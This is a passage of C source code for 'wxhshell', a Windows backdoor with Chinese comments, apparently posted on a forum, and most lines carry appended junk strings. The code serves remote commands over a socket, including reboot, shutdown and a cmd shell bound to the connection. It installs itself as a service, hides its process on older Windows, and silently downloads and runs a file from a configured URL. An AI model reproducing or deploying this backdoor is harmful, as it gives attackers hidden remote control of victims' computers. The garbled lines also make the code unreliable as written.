  // 帮助 M<Mr (z  
  case '?': { !:5n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]u';zJ.  
    break; ]'q<wPi  
  } YBP{4Rl  
  // 安装 pxj"<q`nw8  
  case 'i': { e)kf;Hkf  
    if(Install()) /slML~$t<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9@06]EI_  
    else ,R+u%bmn#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =F4}  
    break; 1F|+4  
    } UsTPNQj  
  // 卸载 uM8gfY)OI  
  case 'r': { 9D,& )6  
    if(Uninstall()) Up&q#vqIj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /v[- KjTj7  
    else :w+Rs+R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _c2#  
    break; ;l'I. j  
    } o[ 6hUX0tN  
  // 显示 wxhshell 所在路径 EIRf6jL  
  case 'p': { V_* ^2c)  
    char svExeFile[MAX_PATH]; =j0V/=  
    strcpy(svExeFile,"\n\r"); [>;O'>  
      strcat(svExeFile,ExeFile); A?/?9Gr  
        send(wsh,svExeFile,strlen(svExeFile),0); \<} nn?~n  
    break; qJ@?[|2R  
    } $H^6I8>  
  // 重启 sq_:U_tJ  
  case 'b': { pP @#|T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d\v _!7  
    if(Boot(REBOOT)) |}; ~YMH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5h1j.t!  
    else { w9%gaK;  
    closesocket(wsh); WxFjpJt  
    ExitThread(0); Z=|@76  
    } ~#@EjQCq  
    break; Lj H];=R  
    } N+\*:$>zt6  
  // 关机 abND#t  
  case 'd': { [H6>]&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S,H{\c  
    if(Boot(SHUTDOWN)) s@$AYZm_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >BX_Bou  
    else { 1 wG1\9S  
    closesocket(wsh); llzl-2` /  
    ExitThread(0); #lO;G k{  
    } ?P5D!b:(  
    break; "hfwj`U  
    } I9 E@2[=!  
  // 获取shell RA6D dqT~  
  case 's': { C\{4<:<_&  
    CmdShell(wsh); !cZsIcIe  
    closesocket(wsh); xn"g_2Hi  
    ExitThread(0); H2]I__t/u  
    break; NQG"}=KA  
  } Cv|:.y  
  // 退出 0\+Qi?&  
  case 'x': { ? _W*7<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z+b~#f3  
    CloseIt(wsh); 181P;R=}<  
    break; i"'k|TGW^  
    } ^6*? a9jO>  
  // 离开 CqoL5qt  
  case 'q': { J.<m@\U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j- A|\:   
    closesocket(wsh); f_7p.H6\  
    WSACleanup(); `&_qK~&/X  
    exit(1); 073(xAkL{  
    break; % Y @3)  
        } 8^{BuUA  
  } 7v-C-u[E`  
  } Lg^m?~{  
rnr7t \a~]  
  // 提示信息 bYtF#Y   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % ;<FfS  
} a-3~HH  
  } '/j`j>'!^  
G > ,rf ]N  
  return; 3t,SXI @  
} ?d %_o@  
2d._X$fx7  
// shell模块句柄 0XYxMN)  
int CmdShell(SOCKET sock) Cdv TC`~,  
{ *f(}@U  
STARTUPINFO si; RwwKPE  
ZeroMemory(&si,sizeof(si)); T.pPQH__  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uk1IT4+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C.@zVt  
PROCESS_INFORMATION ProcessInfo; M;(lc?Rv  
char cmdline[]="cmd"; O7.Is88!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ={fi&j  
  return 0; IOA{l N6  
} ri:fo'4TO  
|9y &;3  
// 自身启动模式 D,hl+P{^K  
int StartFromService(void) NlKnMgt~  
{ T>c;q%A/  
typedef struct sLTf).xh  
{ WDZEnauE  
  DWORD ExitStatus; .Ybm27Dk  
  DWORD PebBaseAddress; F kWJB>  
  DWORD AffinityMask; ^I0SfZ'Y  
  DWORD BasePriority; {<GsM  
  ULONG UniqueProcessId; 65AOFH  
  ULONG InheritedFromUniqueProcessId; gs!{'=4wT  
}   PROCESS_BASIC_INFORMATION; [J^,_iN[.  
v}!,4,]:&  
PROCNTQSIP NtQueryInformationProcess; cq0jM;@d  
]8mBFr5E9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %:??QD*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wy^>i$TC  
&~k/G  
  HANDLE             hProcess; V=YK3){>A  
  PROCESS_BASIC_INFORMATION pbi; PY^Yx$t9  
?FA:K0H?zl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %B~`bUHjq  
  if(NULL == hInst ) return 0;  oCduY2  
34oC285yc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oreS u;`$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cZwQ{9>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F/!C=nS  
v7ae^iU  
  if (!NtQueryInformationProcess) return 0; #&@&BlIe  
5'o.v^l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OxD\e5r  
  if(!hProcess) return 0; v9<p@GY"\  
d`:0kOF+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 04( h!@!g:  
# mzJ^V-  
  CloseHandle(hProcess); _|*j8v3  
rOcfPLJi0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p* ^O 8o  
if(hProcess==NULL) return 0; N+r~\[N\9  
tp1{)|pwY6  
HMODULE hMod; P$!Ht  
char procName[255]; Tv(s?T6f  
unsigned long cbNeeded; @p!["v&  
}x%"Oq|2]x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5X  
-<|E bh d3  
  CloseHandle(hProcess); vv3dr_l:  
o?b"B+#  
if(strstr(procName,"services")) return 1; // 以服务启动 3{:d$- y  
M~@\x]p >  
  return 0; // 注册表启动 akNJL\b  
} K,So#Ui  
@ O%m,  
// 主模块 xOkf 9k_  
int StartWxhshell(LPSTR lpCmdLine) E&97;VH  
{ u^{Q|o:=x  
  SOCKET wsl; \>\w-ty[(  
BOOL val=TRUE; onjTuZ^h  
  int port=0; \,?yj  
  struct sockaddr_in door; fxc~5~$>  
< *XC`Ii  
  if(wscfg.ws_autoins) Install(); 9J>DLvl;  
+oyc9PoXF  
port=atoi(lpCmdLine); &AoWT:Ea  
TzIgEn~  
if(port<=0) port=wscfg.ws_port; x.d9mjLN8m  
Jb0]!*tV  
  WSADATA data; 02SUyv(Mt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]qXfg c  
@]cpPW-b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jcy`:C\Ay  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *{C)o0D  
  door.sin_family = AF_INET; FMR0?\jnT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !{SEm"J^  
  door.sin_port = htons(port); :\.v\.wm  
`_f3o,5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MM^tk{2?.  
closesocket(wsl); .d.7D ]Yn  
return 1; 1z8.wdWJ}  
} wv1?v_4  
/1O6;'8He  
  if(listen(wsl,2) == INVALID_SOCKET) { +wQ GC  
closesocket(wsl); ,x_g|J _Y  
return 1; <q_H 3|  
} (=p}b:Z  
  Wxhshell(wsl); * yt/ Dj  
  WSACleanup(); I{M2nQi  
{8t;nsdm!  
return 0; Ue8_Q8q5  
;  I=z  
} E fqa*,k  
>(\[$  
// 以NT服务方式启动 ZkqC1u3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ka]n+"~==\  
{ y{kXd1,  
DWORD   status = 0; dso\+s  
  DWORD   specificError = 0xfffffff; zO!`sPP  
A]R"C:o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BL]^+KnP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S?D2`b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^%\p; yhL  
  serviceStatus.dwWin32ExitCode     = 0; (s}9N   
  serviceStatus.dwServiceSpecificExitCode = 0;  *A_  
  serviceStatus.dwCheckPoint       = 0; A@`C<O ^  
  serviceStatus.dwWaitHint       = 0; @GGyiK@  
~r!jVK>^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8o~\L= l  
  if (hServiceStatusHandle==0) return; _msDf2e9  
!4 6 ^}3  
status = GetLastError(); :CH'Bt4<  
  if (status!=NO_ERROR) {Q4=GrS  
{ 'o5[ :=K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u D . 0?*_  
    serviceStatus.dwCheckPoint       = 0; IMVoNKW-  
    serviceStatus.dwWaitHint       = 0; ^\x PF5  
    serviceStatus.dwWin32ExitCode     = status; C8(sH@  
    serviceStatus.dwServiceSpecificExitCode = specificError; B:9Z ;g@&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &npf %Eub  
    return; CNP?i(Rk  
  } q.MM|;_u`  
!&#CEF@J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xv1$,|^ts  
  serviceStatus.dwCheckPoint       = 0; $'e.bh  
  serviceStatus.dwWaitHint       = 0; QO|ODW+D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <01MXT-  
} a z`5{hK  
Q,jlKgB 5:  
// 处理NT服务事件,比如:启动、停止 w$2-t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \2~.r/`1  
{ 's*UU:R  
switch(fdwControl) DNL TJrN  
{ _&yQW&vH#  
case SERVICE_CONTROL_STOP: QAu^]1;  
  serviceStatus.dwWin32ExitCode = 0; k"AY7vq@!P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HLk/C[`u,  
  serviceStatus.dwCheckPoint   = 0; O  89BN6p  
  serviceStatus.dwWaitHint     = 0; \)r#?qn4z;  
  { Gew0Y#/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q}I. UG_  
  } ;M}bQ88  
  return; 2Q<_l*kk(  
case SERVICE_CONTROL_PAUSE: /x`H6'3?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `L:wx5?  
  break; }~\J7R'  
case SERVICE_CONTROL_CONTINUE: S$V'_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a3p|>M6E  
  break; `.><$F  
case SERVICE_CONTROL_INTERROGATE: k ^+h>B-;  
  break; |/rBR!kPq  
}; LV9\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tMupX-V  
} =niU6Q}  
c L84}1QD  
// 标准应用程序主函数 ]Y, 7 X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~~h9yvW7&  
{ a)} ?rzT]  
:%s9<g;-h_  
// 获取操作系统版本 >R.~'A/$F  
OsIsNt=GetOsVer(); ;/ p)vR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s;$ eq);  
.i`+}@iA  
  // 从命令行安装 `t#C0  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6s>PZh  
Qza[~6  
  // 下载执行文件 8B\,*JGY2  
if(wscfg.ws_downexe) { 3):7mE(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qB"y'UW8  
  WinExec(wscfg.ws_filenam,SW_HIDE); i"_JF-IbN  
} r\L:JTZ$  
0z\=uQ0  
if(!OsIsNt) { bx`(d@  
// 如果时win9x,隐藏进程并且设置为注册表启动 40+E#z)  
HideProc(); 48w3gye  
StartWxhshell(lpCmdLine); m@"!=CTKd  
} 1eK J46W  
else e?F r/n  
  if(StartFromService()) X/'B*y'=U  
  // 以服务方式启动 ?jb7Oq#[  
  StartServiceCtrlDispatcher(DispatchTable); $YL} rM  
else q-p4k`]  
  // 普通方式启动 >Utn[']~  
  StartWxhshell(lpCmdLine); D|UDLaz~  
<:/V`b3a  
return 0; >>&~;PG[  
}
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只看该作者 1 发表于: 2006-10-10
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